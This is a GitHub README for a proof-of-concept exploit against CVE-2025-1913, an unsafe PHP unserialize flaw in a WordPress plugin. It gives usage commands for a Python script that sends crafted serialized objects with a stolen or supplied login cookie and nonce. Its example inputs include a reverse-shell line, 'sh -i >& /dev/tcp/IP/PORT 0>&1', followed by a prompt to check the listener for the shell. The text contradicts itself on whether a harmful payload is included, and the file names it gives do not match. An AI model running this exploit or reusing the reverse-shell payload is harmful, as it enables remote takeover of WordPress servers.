s0haib518-ksa/cve-2025-1913-pocA PoC demonstrating CVE-2025-1913, showing how the plugin’s unsafe unserialize handling can lead to high-impact behavior in controlled environments. Contains a harmful payload for authorized testing only. Use strictly in isolated labs and for defensive research.
This repository contains an educational-only Proof of Concept (PoC) for CVE-2025-1913, created by Suhaib518 🇸🇦. This PoC demonstrates how specially crafted serialized PHP input may trigger vulnerable logic in affected WordPress components. The PoC is safe and does not include harmful payloads.
⚠️ Disclaimer: This PoC is for learning, research, and defensive security testing only. Do NOT use it on servers you do not own or have explicit permission to test.
The vulnerability exists due to unsafe handling of PHP serialized data in certain WordPress plugin workflows. This PoC shows how an attacker could supply crafted serialized structures that cause unintended internal behavior.
This repository includes a Python script that:
.
├── CVE-2025-1913-PoC.py # The PoC script created by Suhaib518 KSA
└── README.md # Documentation
The script uses only built-in Python modules except for requests:
pip install requests
python3 exploit.py \
-c "Class" \
-H "https://target.com" \
--wp-nonce "1234567890" \
--cookie "wordpress_logged_in=YOUR_COOKIE_HERE"
You will be asked:
The script will then serialize them, build a WordPress request, and send it.
Below is an example command demonstrating usage with example values (these are not malicious, only showing the process):
python3 exploit.py -c "WP_User_Query" -H "https://example.com" --wp-nonce "89f1a2b3c4" --cookie "wordpress_logged_in_abc123=abcd1234efgh5678"
Example answers to the interactive questions:
[?] How many properties does this class have? 2
[?] Name of property #1: file
[?] Value for 'file': shell.sh
[?] Name of property #2: shell
[?] Value for 'shell': sh -i >& /dev/tcp/IP/PORT 0>&1
The script will then print:
[*] Sending request…
....Check the listener for the shell.
unserialize() on untrusted inputMIT License.
Created by Suhaib518 🇸🇦.